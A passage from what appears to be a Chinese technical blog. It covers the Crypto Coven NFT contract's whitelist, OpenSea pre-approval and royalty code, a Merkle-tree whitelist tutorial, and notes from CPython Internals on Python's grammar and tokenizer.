      "hobby": "You are borne of chaos that gives the night shape.",
      "magic": "Your magic spawns from primordial darkness.",
      "typeSpecific": "You are called oracle by those wise enough to listen.",
      "exclamation": "ALL THEOLOGY STEMS FROM THE TERROR OF THE FIRMAMENT!"
    },
    "skills": {
      "will": 9,
      "wisdom": 9,
      "wonder": 9,
      "woe": 10,
      "wit": 9,
      "wiles": 9
    },
    "birthChart": {
      "sun": "taurus",
      "moon": "aquarius",
      "rising": "capricorn"
    },
    "styles": [
      {
        "attribute": "background",
        "name": "solid",
        "color": "sepia",
        "fullName": "background_solid_sepia"
      },
      {
        "attribute": "base",
        "name": "lithe",
        "color": "dawn",
        "fullName": "base_lithe_dawn"
      },
      {
        "attribute": "body-under",
        "name": "sheer-top",
        "color": "black",
        "fullName": "body-under_sheer-top_black"
      },
      {
        "attribute": "eyebrows",
        "name": "medium-flat",
        "color": "black",
        "fullName": "eyebrows_medium-flat_black"
      },
      {
        "attribute": "eyes",
        "name": "nyx",
        "color": "cloud",
        "fullName": "eyes_nyx_cloud"
      },
      {
        "attribute": "mouth",
        "name": "nyx",
        "color": "mocha",
        "fullName": "mouth_nyx_mocha"
      },
      {
        "attribute": "hair-back",
        "name": "nyx",
        "color": "steel",
        "fullName": "hair-back_nyx_steel"
      },
      {
        "attribute": "hair-bangs",
        "name": "nyx",
        "color": "steel",
        "fullName": "hair-bangs_nyx_steel"
      },
      {
        "attribute": "hat-back",
        "name": "witch",
        "color": "black",
        "fullName": "hat-back_witch_black"
      },
      {
        "attribute": "hat-front",
        "name": "witch",
        "color": "black",
        "fullName": "hat-front_witch_black"
      },
      {
        "attribute": "necklace",
        "name": "moon-necklace",
        "color": "silver",
        "fullName": "necklace_moon-necklace_silver"
      }
    ],
    "hash": "nyx"
  }
}

其中包含女巫的ID,名称,图片地址,属性等信息。

不得不说,如果 Amazon S3 出问题了,可能这些图片就没法显示了。

使用 Merkle 证明实现白名单机制

对于预售,项目方使用白名单方式进行,而对于白名单验证,合约中使用 Merkle 证明的方式进行验证。

在 mint 时,只需发送正确的 Merkle 证明来验证即可实现白名单功能,这个方法不仅效率高,而且省去了在合约中存储所有白名单地址造成的 Gas 消耗。

    modifier isValidMerkleProof(bytes32[] calldata merkleProof, bytes32 root) {
        require(
            MerkleProof.verify(
                merkleProof,
                root,
                keccak256(abi.encodePacked(msg.sender))
            ),
            "Address does not exist in list"
        );
        _;
    }

...

    function mintCommunitySale(
        uint8 numberOfTokens,
        bytes32[] calldata merkleProof
    )
        external
        payable
        nonReentrant
        communitySaleActive
        canMintWitches(numberOfTokens)
        isCorrectPayment(COMMUNITY_SALE_PRICE, numberOfTokens)
        isValidMerkleProof(merkleProof, communitySaleMerkleRoot)
    {
        // ...
    }

    function claim(bytes32[] calldata merkleProof)
        external
        isValidMerkleProof(merkleProof, claimListMerkleRoot)
        canGiftWitches(1)
    {
			// ...
    }

详细细节可以参考我之前的一篇文章:

预先批准 Opensea 合约

可以看到在 OpenSea 上列出这些 NFT 费用为 0 gas,因为合约预先批准了 OpenSea 合约以节省用户的 gas,同时合约还包括一个紧急功能来消除这种行为!

    /**
     * @dev Override isApprovedForAll to allowlist user's OpenSea proxy accounts to enable gas-less listings.
     */
    function isApprovedForAll(address owner, address operator)
        public
        view
        override
        returns (bool)
    {
        // Get a reference to OpenSea's proxy registry contract by instantiating
        // the contract using the already existing address.
        ProxyRegistry proxyRegistry = ProxyRegistry(
            openSeaProxyRegistryAddress
        );
        if (
            isOpenSeaProxyActive &&
            address(proxyRegistry.proxies(owner)) == operator
        ) {
            return true;
        }

        return super.isApprovedForAll(owner, operator);
    }

...

// These contract definitions are used to create a reference to the OpenSea
// ProxyRegistry contract by using the registry's address (see isApprovedForAll).
contract OwnableDelegateProxy {

}

contract ProxyRegistry {
    mapping(address => OwnableDelegateProxy) public proxies;
}

为了防止 Opensea 关闭或者被入侵,合约可以通过 setIsOpenSeaProxyActive 方法关闭预先批准。

    // function to disable gasless listings for security in case
    // opensea ever shuts down or is compromised
    function setIsOpenSeaProxyActive(bool _isOpenSeaProxyActive)
        external
        onlyOwner
    {
        isOpenSeaProxyActive = _isOpenSeaProxyActive;
    }

ERC165

这是一种发布并能检测到一个智能合约实现了什么接口的标准,用于实现对合约实现的接口的查询。这个标准需要实现 suppoetsInterface 方法:

interface ERC165 {
    /// @notice Query if a contract implements an interface
    /// @param interfaceID The interface identifier, as specified in ERC-165
    /// @dev Interface identification is specified in ERC-165. This function
    ///  uses less than 30,000 gas.
    /// @return `true` if the contract implements `interfaceID` and
    ///  `interfaceID` is not 0xffffffff, `false` otherwise
    function supportsInterface(bytes4 interfaceID) external view returns (bool);
}

加密女巫实现复写这个方法是因为它额外实现了 EIP2981 这个标准,需要指出。

    function supportsInterface(bytes4 interfaceId)
        public
        view
        virtual
        override(ERC721, IERC165)
        returns (bool)
    {
        return
            interfaceId == type(IERC2981).interfaceId ||
            super.supportsInterface(interfaceId);
    }

EIP2981:NFT 版税标准

EIP-2981 实现了标准化的版税信息检索,可被任何类型的 NFT 市场接受。EIP-2981 支持所有市场检索特定 NFT 的版税支付信息,从而实现无论 NFT 在哪个市场出售或转售都可以实现准确的版税支付。

NFT 市场和个人可通过检索版税支付信息 royaltyInfo() 来实施该标准,它指定为特定的 NFT 销售价格向指定的单一地址支付特定比例的金额。对于特定的 tokenIdsalePrice,在请求时需提供一个版税接收者的地址和要支付的预期版税金额(百分比表示)。

女巫合约规定了 5% 的版税,但是这个标准并不是强制性的,需要靠市场去实施此标准。

    /**
     * @dev See {IERC165-royaltyInfo}.
     */
    function royaltyInfo(uint256 tokenId, uint256 salePrice)
        external
        view
        override
        returns (address receiver, uint256 royaltyAmount)
    {
        require(_exists(tokenId), "Nonexistent token");

        return (address(this), SafeMath.div(SafeMath.mul(salePrice, 5), 100));
    }

不太确定此函数中的注释 See {IERC165-royaltyInfo}. 是否正确,需要确认。

其他细节

  1. 没有 tokensOfOwner 方法

    可能是基于女巫NFT的具体场景与优化 Gas 做的权衡,查询 token 所有者的功能需要靠 Opensea 的 API 或者 The Graph 去实现。

  2. 在没有外部调用的函数中也加了 nonReentrant

  3. msg.sender 可能是合约

  4. onlyOwner 也加了 nonReentrant,避免可能的被利用。

参考

  1. 为什么说 EIP-2981 的生效对于 NFT 创作者来说至关重要?

使用 Merkle 树做 NFT 白名单验证

Merkle 树现在普遍用来做线上数据验证。这篇文章主要解释和实现使用 Merkle 树做 NFT 白名单验证。

使用 Merkle 树做 NFT 白名单验证,简单来说就是将所有的白名单钱包地址做为 Merkle 树的叶节点生成一棵 Merkle 树,在部署的NFT 合约中只存储 Merkle 树的 root hash,这样避免了在合约中存储所有白名单地址带来的高额 gas 费用。在 mint 时,前端生成钱包地址的 Merkle proof,调用合约进行验证即可。

一次验证过程前端和合约运行过程如图:

Untitled

图片来自 [3]

Merkle 树

详情请参见:https://en.wikipedia.org/wiki/Merkle_tree

Untitled 1

图片来自 [1]

比如,以水果单词作为叶节点,生成 Merkle 树的结构如下:

Untitled 2

图片来自 [2]

合约实现

我们简单实现 Merkle 验证的过程,此合约包含以下功能:

  1. 设置 Merkle 根哈希: setSaleMerkleRoot
  2. 验证 Merkle proof: isValidMerkleProof
  3. mint 并记录是否已经mint: mint
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";

contract Merkle is Ownable {
    bytes32 public saleMerkleRoot;
    mapping(address => bool) public claimed;

    function setSaleMerkleRoot(bytes32 merkleRoot) external onlyOwner {
        saleMerkleRoot = merkleRoot;
    }

    modifier isValidMerkleProof(bytes32[] calldata merkleProof, bytes32 root) {
        require(
            MerkleProof.verify(
                merkleProof,
                root,
                keccak256(abi.encodePacked(msg.sender))
            ),
            "Address does not exist in list"
        );
        _;
    }

    function mint(bytes32[] calldata merkleProof)
        external
        isValidMerkleProof(merkleProof, saleMerkleRoot)
    {
        require(!claimed[msg.sender], "Address already claimed");
        claimed[msg.sender] = true;
    }
}

Merkle proof 证明生成

调用合约验证的 Merkle proof 需要在前端生成。生成过程需要用到 merkletreejskeccak256 两个库,前者用于创建 Merkle 树,后者用于生成哈希。

npm install --save merkletreejs keccak256

第一步,生成白名单地址的 Merkle 树:

const { MerkleTree } = require('merkletreejs');
const keccak256 = require('keccak256');

let whitelistAddresses = [
    '0x169841AA3024cfa570024Eb7Dd6Bf5f774092088',
    '0xc12ae5Ba30Da6eB11978939379D383beb5Df9b33',
    '0x0a290c8cE7C35c40F4F94070a9Ed592fC85c62B9',
    '0x43Be076d3Cd709a38D2f83Cd032297a194196517',
    '0xC7FaB03eecA24CcaB940932559C5565a4cE9cFFb',
    '0xE4336D25e9Ca0703b574a6fd1b342A4d0327bcfa',
    '0xeDcB8a28161f966C5863b8291E80dDFD1eB78491',
    '0x77cbd0fa30F83a249da282e9fE90A86d7936FdE7',
    '0xc39F9406284CcAeB426D0039a3F6ADe14573BaFe',
    '0x16Beb6b55F145E4269279B82c040B7435f1088Ee',
    '0x900b2909127Dff529f8b4DB3d83b957E6aE964c2',
    '0xeA2A799793cE3D2eC6BcD066563f385F25401e95',
];
let leafNodes = whitelistAddresses.map(address => keccak256(address));
let tree = new MerkleTree(leafNodes, keccak256, { sortPairs: true });

console.log('Tree: ', tree.toString());
// const root = tree.getRoot();
// console.log('Root hash is: ', root.toString('hex'));

// Output:
//
// Tree:  └─ c7ec7ffb250de2b95a1c690751b2826ec9d2999dd9f5c6f8816655b1590ca544
//    ├─ 25f76dfbdd295dd14932a7aae9350055e72e9e317cd389c62d525884cc0d0f17
//    │  ├─ 0613ec9d9455eaa91ffd480afaa50db8952ccf3cf1f04375f08f848dca194a86
//    │  │  ├─ e0c3820340c8c58fa46f9ff9c8da5037a8f544f839abe168b76aff3fa391e177
//    │  │  │  ├─ 1575cc1dded49f942913392f94716824d29b8fa45876b2db6295d16a606533a4
//    │  │  │  └─ 6abf3666623175adbce354196686c5e9853334b8eeb8324726a8ca89290c26d1
//    │  │  └─ 6c42c6099e51e28eef8f19f71765bb42c571d5c7177996f177606138f65c0c2b
//    │  │     ├─ 4d313ef5510345a10724e131139b4556d77adaa109ba87087a600ea00bf92d18
//    │  │     └─ 83260aa668bd8b075be8e34c6f6609ad5be3eee1470f7b30f46e85650097cb98
//    │  └─ b0d6f760008340e3f60414d84b305702faa6418f44f31de07b10e05bf369eb3b
//    │     ├─ f1e3a4717b4179aecf418fc3a0c92c728828ee399700d9bcb512c6424f86cb7b
//    │     │  ├─ e00eb5681327801ed923ce4913468e70f833de797cfbc3df1e68dd13000f1fa6
//    │     │  └─ d71c2d63734c3ca3c4257d118442c5796796234f77bb325759973b90e130dc62
//    │     └─ 07ff91a64cd06c27a059056430bddfdf2d54e8833c0ccaa4642b39ed3b22579f
//    │        ├─ 74b490baa6a881c8934d0aacc7fd778d1bac1e259f17856fccea372b6978bad6
//    │        └─ 3845f80821bbaa15e35bfe9ace50761f9adeebf25b8472fae6e4ff0db394b2da
//    └─ 4c880bf401add28c4e51270dfe16b28c3ca1b3d263ff7c5863fc8214b4046364
//       └─ 4c880bf401add28c4e51270dfe16b28c3ca1b3d263ff7c5863fc8214b4046364
//          ├─ 52a3b2fbc6bb6ee25b925ac9767246ceb24fd99c64a7dbc72847e6dc8dc52b81
//          │  ├─ a61d6c75021de68e08a03f83d25738ac77e5e5cce1a63b4d48c2c819254b4375
//          │  └─ 85c68207164ed77f53351eac1a14074cf5cd5b0fb1a664709adcd0ee4aa4ea8d
//          └─ 1689b05d03db07df6c1f227c6f2ad46646a3edf11684c8081b821abbaf45a6dc
//             ├─ 93b5a65af2ac0633f9f90c6e05c89c30e1d4aba0b6f98d2c2b9bda4118538d9f
//             └─ 159859f50ff6cca7ef1060dcbc1a8daf59820817ea262f3f6107b431024eb9c4

我们可以看到根哈希值为 0xc7ec7ffb250de2b95a1c690751b2826ec9d2999dd9f5c6f8816655b1590ca544 ,这个值在调用合约函数 setSaleMerkleRoot 时需要用到,会保存在合约中。生成的 Merkle 证明需要存储在页面中,也可以存在 IPFS 中,在使用时加载使用。

第二步,需要生成参与 mint 地址的 Merkle 证明,假设使用 0xc12ae5Ba30Da6eB11978939379D383beb5Df9b33 地址进行 mint 操作:

let leaf = keccak256('0xc12ae5Ba30Da6eB11978939379D383beb5Df9b33');
let proof = tree.getHexProof(leaf);
console.log('Proof of 0xc12ae5Ba30Da6eB11978939379D383beb5Df9b33: ', proof);

对应生成的证明为

Proof of 0xc12ae5Ba30Da6eB11978939379D383beb5Df9b33:  [
    '0x1575cc1dded49f942913392f94716824d29b8fa45876b2db6295d16a606533a4',
    '0x6c42c6099e51e28eef8f19f71765bb42c571d5c7177996f177606138f65c0c2b',
    '0xb0d6f760008340e3f60414d84b305702faa6418f44f31de07b10e05bf369eb3b',
    '0x4c880bf401add28c4e51270dfe16b28c3ca1b3d263ff7c5863fc8214b4046364'
  ]

同时我们将生成一个假的证明:

// another proof, for example

let anotherWhitelistAddresses = [
    '0x169841AA3024cfa570024Eb7Dd6Bf5f774092088',
    '0xc12ae5Ba30Da6eB11978939379D383beb5Df9b33',
    '0x0a290c8cE7C35c40F4F94070a9Ed592fC85c62B9',
    '0x43Be076d3Cd709a38D2f83Cd032297a194196517',
];
let anotherLeafNodes = anotherWhitelistAddresses.map(address => keccak256(address));
let badTree = new MerkleTree(anotherLeafNodes, keccak256, { sortPairs: true });

let badLeaf = keccak256('0xc12ae5Ba30Da6eB11978939379D383beb5Df9b33');
let badProof = badTree.getHexProof(badLeaf);
console.log('Bad proof of 0xc12ae5Ba30Da6eB11978939379D383beb5Df9b33: ', badProof);

// Bad proof of 0xc12ae5Ba30Da6eB11978939379D383beb5Df9b33:  [
//     '0x1575cc1dded49f942913392f94716824d29b8fa45876b2db6295d16a606533a4',
//     '0x6c42c6099e51e28eef8f19f71765bb42c571d5c7177996f177606138f65c0c2b'
//   ]

验证过程

此过程将使用 Remix IDE 进行部署和测试:

  1. 使用 Remix 将合约部署到以太坊测试网 Rinkeby 中,得到合约地址为: 0xb3E2409199855ea9676dc5CFc9DefFd4A1b93eFe

  2. 调用 setSaleMerkleRoot 设置 Merkle 根哈希为 0xc7ec7ffb250de2b95a1c690751b2826ec9d2999dd9f5c6f8816655b1590ca544

  3. 调用 mint ,传入非法 Merkle 证明:["0x1575cc1dded49f942913392f94716824d29b8fa45876b2db6295d16a606533a4","0x6c42c6099e51e28eef8f19f71765bb42c571d5c7177996f177606138f65c0c2b"] ,可以看到交易失败,显示 Fail with error 'Address does not exist in list

  4. 验证 0xc12ae5Ba30Da6eB11978939379D383beb5Df9b33 地址对应 mint 状态是否为 false;

  5. 调用 mint,传入合法的 Merkle 证明:

    ["0x1575cc1dded49f942913392f94716824d29b8fa45876b2db6295d16a606533a4","0x6c42c6099e51e28eef8f19f71765bb42c571d5c7177996f177606138f65c0c2b","0xb0d6f760008340e3f60414d84b305702faa6418f44f31de07b10e05bf369eb3b","0x4c880bf401add28c4e51270dfe16b28c3ca1b3d263ff7c5863fc8214b4046364"],可以看到交易成功;

  6. 验证 0xc12ae5Ba30Da6eB11978939379D383beb5Df9b33 地址对应 mint 状态是否为 true

参考文章

  1. Using Merkle Trees for NFT Whitelists
  2. Understanding Merkle pollards
  3. Litentry this week: NFT pallet and Merkle airdrop

CPython Internals 笔记 ── Python 语言和语法

编译器的目的是将一种语言转换成另一种语言。把编译器想象成一个翻译器。 比如你会雇一个翻译来听你说英语,然后翻译成日语。

为此,翻译人员必须了解源语言和目标语言的语法结构。

有些编译器会编译成低级机器码,可以直接在系统上执行。其他编译器会编译成一种中间语言,由虚拟机执行。

选择编译器时的一个考虑因素是系统可移植性要求。 Java.NET CLR 将编译成一种中间语言,以便编译后的代码可以跨多个系统架构移植。 C、Go、C++ 和 Pascal 将编译成可执行的二进制文件。此二进制文件是为编译它的平台构建的。

Python 应用程序通常作为源代码分发。Python 解释器的作用是将Python源代码进行转换并一步执行。 CPython 运行时在第一次运行时会编译你的代码。这一步对普通用户是不可见的。

Python 代码不会被编译成机器码;它被编译成一种称为 字节码 的低级中间语言。 此字节码存储在 .pyc 文件中并缓存以供执行。 如果在不更改源代码的情况下两次运行同一个 Python 应用程序,则第二次执行速度会更快。 这是因为它加载编译后的字节码而不是每次都重新编译。

为什么 CPython 是用 C 而不是用 Python 编写

CPython 中的 C 是对 C 编程语言的引用,这意味着这个 Python 发行版是用 C 语言编写的。

这种说法大多是正确的:CPython 中的编译器是用纯 C 编写的。 但是,许多标准库模块是用纯 Python 或 C 和 Python 组合编写的。

那么为什么 CPython 编译器是用 C 而不是 Python 编写的呢?

答案在于编译器的工作方式。 有两种类型的编译器:

  1. 自举编译器 是用它们编译的语言编写的编译器,例如 Go 编译器。这是通过称为引导的过程完成的。

  2. 源到源编译器 是用另一种已经有编译器的语言编写的编译器。

如果你要从头开始编写新的编程语言,则需要一个可执行应用程序来编译你的编译器! 你需要一个编译器来执行任何事情,所以当开发新语言时,它们通常首先用更老的、更成熟的语言编写。

还有一些可用的工具可以读取语言规范并创建解析器。 流行的编译器-编译器(compiler-compilers)包括 GNU Bison、Yacc 和 ANTLR。

如果你想了解有关解析器的更多信息,请查看 lark 项目。 Lark 是一个用 Python 编写的上下文无关语法解析器。

编译器引导的一个很好的例子是 Go 编程语言。 第一个 Go 编译器是用 C 编写的,然后一旦 Go 可以编译了,就用 Go 重写编译器。

CPython 保留了 C 语言的传统;许多标准库模块,如 ssl 模块或套接字模块,都是用 C 编写的,用于访问低级操作系统 API。 Windows 和 Linux 内核中用于创建网络套接字使用文件系统与显示器交互的 API 都是用 C 编写的。 Python 的可扩展性层专注于 C 语言是有意义的。

有一个用 Python 编写的 Python 编译器,称为 PyPy。 PyPy 的标志是一个 衔尾蛇,代表编译器的自举性质。

Python 交叉编译器的另一个示例是 Jython。Jython 是用 Java 编写的,从 Python 源代码编译成 Java 字节码。 与 CPython 可以轻松导入 C 库并从 Python 中使用它们一样,Jython 可以轻松导入和引用 Java 模块和类。

创建编译器的第一步是定义语言。 例如,一下不是有效的 Python:

def my_example() <str> :
{
    void* result = ;
}

编译器在尝试执行之前需要严格的语言语法结构规则。

对于本书的其余部分,./python 将指代 CPython 的编译版本。 但是,实际命令将取决于你的操作系统。

对于 Windows:

> python.exe

对于 Linux:

$ ./python

对于 macOS:

$ ./python.exe

Python 语言规范

CPython 源代码中包含 Python 语言的定义。这个文档是所有 Python 解释器使用的参考规范。

该规范采用人类可读和机器可读的格式。文档里面是对 Python 语言的详细解释。包含允许的内容以及每个语句的行为方式。

语言文档

位于 Doc/reference 目录中的是 Python 语言中每个功能的 reStructured-Text 解释。 这些文件构成了 docs.python.org/3/reference 上的官方 Python 参考指南。

目录里面是你需要了解整个语言、结构和关键字的文件:

cpython/Doc/reference/
├── compound_stmts.rst          复合语句,如 if、while、for 和函数定义
├── datamodel.rst               对象、值和类型
├── executionmodel.rst          Python程序的结构
├── expressions.rst             Python 表达式的元素
├── grammar.rst                 Python 的核心语法(参考 Grammar/Grammar)
├── import.rst                  导入系统
├── index.rst                   语言参考索引
├── introduction.rst            参考文档介绍
├── lexical_analysis.rst        词法结构,如行、缩进、标记和关键字
├── simple_stmts.rst            简单的语句,如 assert、import、return 和 yield
└── toplevel_components.rst     执行 Python 的方式的描述,如脚本和模块

一个例子

Doc/reference/compound_stmts.rst,你可以看到一个定义 with 语句的简单示例。

with 语句有多种形式,最简单的是上下文管理器的实例化和嵌套的代码块:

with x():
    ...

你可以使用 as 关键字将结果分配给变量:

with x() as y:
    ...

你还可以使用逗号将上下文管理器链接在一起:

with x() as y, z() as jk:
    ...

文档包含语言的人类可读规范,机器可读规范包含在单个文件 Grammar Grammar 中。

语法文件

本节指的是“旧解析器”使用的语法文件。 在发布时,“新解析器”(PEG 解析器)是实验性的,尚未完成。

对于 3.8 及以下版本的 CPython,默认使用 pgen 解析器。 对于 CPython 3.9 及更高版本,PEG 解析器是默认的。可以在命令行上使用 -X oldparser 启用旧解析器。

两个解析器都使用 Tokens 文件。

语法文件以一种称为巴科斯范式 (BNF) 的上下文符号编写。 巴科斯范式不是 Python 特有的,通常用作许多其他语言中的语法符号。

编程语言中语法结构的概念受到 Noam Chomsky 在 1950 年代关于句法结构的工作的启发!

Python 的语法文件使用扩展巴科斯范式(EBNF)规范和正则表达式语法。因此,在语法文件中,你可以使用:

  • * 用于重复
  • + 至少重复一次
  • [] 用于可选部分
  • | 对于替代品
  • () 用于分组

例如,考虑如何定义一杯咖啡:

  • 它必须有一个杯子
  • 它必须包括至少一瓶浓缩咖啡(espresso),并且可以包含多个
  • 它可以有牛奶,但可选
  • 你可以在咖啡中加入多种牛奶,如全脂、脱脂和豆奶(soy)

在 EBNF 中定义的咖啡订单可能如下所示:

coffee: 'cup' ('espresso')+ ['water'] [milk]
milk: 'full-fat' | 'skimmed' | 'soy'

在本章中,语法是用铁路图形象化的。 这张图是咖啡语句的铁路图:

coffee_statement

在铁路图中,每个可能的组合必须从左到右排成一条线。 可选语句可以被绕过,有些语句可以形成循环。

如果在语法文件中搜索 with_stmt,可以看到定义:

with_stmt: 'with' with_item (',' with_item)*  ':' suite
with_item: test ['as' expr]

引号中的任何内容都是字符串文字,称为终端(terminal)。终端是识别关键字的方式。with_stmt 指定为:

  1. with 开始
  2. 后面跟一个 with_item,它可以是 test,和(可选的) as 以及一个表达式 expr
  3. 接着是一个或多个 with_item,每个都用逗号隔开
  4. : 结尾
  5. 跟一个 suite

在这两行中引用了其他三个定义:

suite 是指包含一个或多个语句的代码块 • test 指的是一个被评估的简单的语句 • expr 指的是一个简单的表达式

在铁路图中可视化,with 语句如下所示:

with_stmt

作为一个更复杂的例子,try 语句定义为:

try_stmt: ('try' ':' suite
           ((except_clause ':' suite)+
            ['else' ':' suite]
            ['finally' ':' suite] |
           'finally' ':' suite))
except_clause: 'except' [test ['as' NAME]]

try 语句有两种用途:

  1. try 和一个或多个 except 子句,然后是一个可选的 else,然后是一个可选的 finally
  2. try 和只有一个 finally 语句

或者,在铁路图中可视化:

try_stmt

try 语句是更复杂结构的一个很好的例子。

如果你想详细了解 Python 语言,语法在 Grammar/Grammar 中定义。

使用解析器生成器(The Parser Generator)

Python 编译器从不使用语法文件本身。相反,解析器表由解析器生成器创建。 如果对语法文件进行更改,则必须重新生成解析器表并重新编译 CPython。

解析器表是潜在解析器状态的列表。当解析树变得复杂时,它们确保语法不会有歧义。

解析器生成器

解析器生成器的工作原理是将 EBNF 语句转换为非确定性有限自动机 (Non-deterministic Finite Automaton,NFA)。 NFA 状态和转换被解析并合并为一个确定性有限自动机 (Deterministic Finite Automaton,DFA)。

DFA 被解析器用作解析表。这种技术是在斯坦福大学形成的,并在 1980 年代开发,就在 Python 出现之前。 CPython 的解析器生成器 pgen 是 CPython 项目独有的。

pgen 应用程序在 Python 3.8 中从 C 重写为 Python,在文件 Parser/pgen/pgen.py 中。

它可通过以下执行:

$ ./python -m Parser.pgen [grammar] [tokens] [graminit.h] [graminit.c]

它通常从构建脚本执行,而不是直接执行。

DFA 和 NFA 没有视觉输出,但有一个带有有向图输出的 CPython 分支decorator 语法在 Grammar/Grammar 中定义为:

decorator: '@' dotted_name [ '(' [arglist] ')' ] NEWLINE

解析器生成器创建了一个包含 11 个状态的复杂 NFA 图。每个状态都用数字表示(在语法中提示它们的名称)。 状态转移被称为“弧”。

DFA 比 NFA 更简单,路径减少了:

decorator_DFA

NFA 和 DFA 图仅用于调试复杂语法的设计。

我们将使用铁路图代替 DFA 或 NFA 图来表示语法。例如,此图表示 decorator 语句可以采用的路径:

decorator_stmt

重新生成语法

要查看 pgen 的运行情况,让我们更改部分 Python 语法。 在 Grammar/Grammar 中搜索 pass_stmt 以查看 pass 语句的定义:

pass_stmt: 'pass'

pass_stmt

通过添加选择 |proceed 字面量,更改该行以接受终端(关键字)'pass''proceed' 作为关键字:

pass_stmt: 'pass' | 'proceed'

pass_stmt_modified

接下来,通过运行 pgen 重建语法文件。CPython 带有脚本来自动化 pgen

在 macOS 和 Linux 上,运行 make regen-grammar

$ make regen-grammar

对于 Windows,从 PCBuild 目录调出命令行并使用 --regen 标志运行 build.bat

> build.bat --regen

你应该会看到一个输出,显示新的 Include/graminit.hPython/graminit.c 文件已重新生成。

使用重新生成的解析器表,当你重新编译 CPython 时,它将使用新语法。

如果代码编译成功,你可以执行新的 CPython 二进制文件并启动 REPL。

在 REPL 中,你现在可以尝试定义一个函数。不要使用 pass 语句, 而是使用你编译到 Python 语法中的 proceed 关键字替代 pass

$ ./python -X oldparser
Python 3.9.0b1 (tags/v3.9.0b1:97fe9cf, May 19 2020, 10:00:00)
[Clang 10.0.1 (clang-1001.0.46.4)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> def example():
...    proceed
...
>>> example()

恭喜,你已经更改了 CPython 语法并编译了你自己的 CPython 版本。

接下来,我们将探索标记(tokens)及其与语法的关系。

标记(Tokens)

除了 Grammar 文件夹中的语法文件之外,还有 Grammar/Tokens 文件, 其中包含在分析树中作为叶节点找到的每个唯一类型。每个标记还有一个名称和一个生成的唯一 ID。 名称用于使在分词器(tokenizer)中更容易引用。

Grammar/Tokens 文件是 Python 3.8 中的一项新功能。

例如,左括号称为 LPAR,分号称为称为 SEMI。 你将在本书后面看到这些标记:

LPAR                    '('
RPAR                    ')'
LSQB                    '['
RSQB                    ']'
COLON                   ':'
COMMA                   ','
SEMI                    ';'

Grammar 文件一样,如果你修改了 Grammar/Tokens 文件,你需要重新运行 pgen

要查看操作中的标记,你可以使用 CPython 中的 tokenize 模块。

CPython 源代码中有两个标记器。这里演示了一个用 Python 编写的分词器,另一个用 C 编写。 用 Python 编写的分词器是一个实用程序,Python 解释器使用用 C 编写的那个。 它们具有相同的输出和行为。用 C 编写的版本是为性能而设计的,而 Python 中的模块是为调试而设计的。

cpython-book-samples/13/test_tokens.py:

# Demo application
def my_function(): proceed

test_tokens.py 文件输入到标准库中内置的名为 tokenize 的模块中。你将按行和字符看到标记列表。 使用 -e 标志输出确切的标记名称:

$ ./python -m tokenize -e test_tokens.py

0,0-0,0:            ENCODING       'utf-8'        
1,0-1,18:           COMMENT        '# Demo application'
1,18-1,19:          NL             '\n'           
2,0-2,3:            NAME           'def'          
2,4-2,15:           NAME           'my_function'  
2,15-2,16:          LPAR           '('            
2,16-2,17:          RPAR           ')'            
2,17-2,18:          COLON          ':'            
2,18-2,19:          NEWLINE        '\n'           
3,0-3,4:            INDENT         '    '         
3,4-3,11:           NAME           'proceed'      
3,11-3,12:          NEWLINE        '\n'           
4,0-4,0:            DEDENT         ''             
4,0-4,0:            ENDMARKER      '' 

在输出中,第一列是行/列坐标的范围,第二列是标记的名称,最后一列是标记的值。

在输出中, tokenize 模块隐含了一些标记:

  • utf-8ENCODING 标记
  • 结尾的空白行
  • DEDENT 关闭函数声明
  • ENDMARKER 结束文件

最佳做法是在 Python 源文件的末尾有一个空行。如果省略它,CPython 会为你添加它。

tokenize 模块是用纯 Python 编写的,位于 Lib/tokenize.py 中。

要查看 C 分词器的详细读数,您可以使用 -d 标志运行 Python。 使用之前创建的 test_tokens.py 脚本,使用以下命令运行它:

$ ./python -d test_tokens.py

Token NAME/'def' ... It's a keyword
 DFA 'file_input', state 0: Push 'stmt'
 DFA 'stmt', state 0: Push 'compound_stmt'
...
Token NEWLINE/'' ... It's a token we know
 DFA 'funcdef', state 5: [switch func_body_suite to suite] Push 'suite'
 DFA 'suite', state 0: Shift.
Token INDENT/'' ... It's a token we know
 DFA 'suite', state 1: Shift.
Token NAME/'proceed' ... It's a keyword
 DFA 'suite', state 3: Push 'stmt'
...
ACCEPT.

在输出中,你可以看到它突出显示了作为关键字的 proceed。 在下一章中,我们将看到执行 Python 二进制文件是如何到达分词器的,以及从那里执行代码时会发生什么。

要清理你的代码,请恢复 Grammar/Grammar 中的更改,再次重新生成语法,然后清理构建并重新编译:

对于 macOS 或 Linux:

$ git checkout -- Grammar/Grammar
$ make regen-grammar
$ make clobber
$ make -j2 -s

对于 Windows:

> git checkout -- Grammar/Grammar
> build.bat --regen
> build.bat -t CleanAll
> build.bat -t Build

一个更复杂的例子

添加 proceed 作为 pass 的替代关键字是一个简单的更改, 解析器生成器将 'proceed' 作为 pass_stmt 标记的文字进行匹配。 这个新关键字无需对编译器进行任何更改即可工作。

在实践中,对语法的大多数更改都更加复杂。

Python 3.8 引入了赋值表达式,格式为 :=。赋值表达式既为名称赋值,又返回命名变量的值。 受在 Python 语言中添加赋值表达式影响的语句之一是 if 语句。

在 3.8 之前,if 语句定义为:

  • 关键字 if 后跟 test,然后是 :
  • 嵌套的一系列语句(suite
  • 零个或多个 elif 语句,后跟 test、一个 :suite
  • 一个可选的 else 语句,后跟一个 : 和一个 suite

在语法中,这表示为:

if_stmt: 'if' test ':' suite ('elif' test ':' suite)* ['else' ':' suite]

可视化之后看起来像:

为了支持赋值表达式,更改需要向后兼容。 因此,在 if 语句中使用 := 必须是可选的。

if 语句中使用的 test 标记类型在许多语句之间是通用的。例如,assert 语句后跟一个 test(然后是可选的第二个 test)。

assert_stmt: 'assert' test [',' test]

在 3.8 中添加了替代 test 标记类型,以便语法可以规定哪些语句应该支持赋值表达式,哪些不应该支持。

这个称为 namedexpr_test,在 Grammer 中定义为:

namedexpr_test: test [':=' test]

或者,在铁路图中可视化为:

namedexpr_test

if 语句的新语法已更改为用 namedexpr_test 替换 test

 if_stmt: 'if' namedexpr_test ':' suite ('elif' namedexpr_test ':' suite)
         ['else' ':' suite]

在铁路图中可视化:

if_stmt_with_namedexpr_test

为了区分 := 和现有的 COLON (:) 和 EQUAL (=) 标记,将以下标记也添加到 Grammar/Tokens 中:

COLONEQUAL              ':='

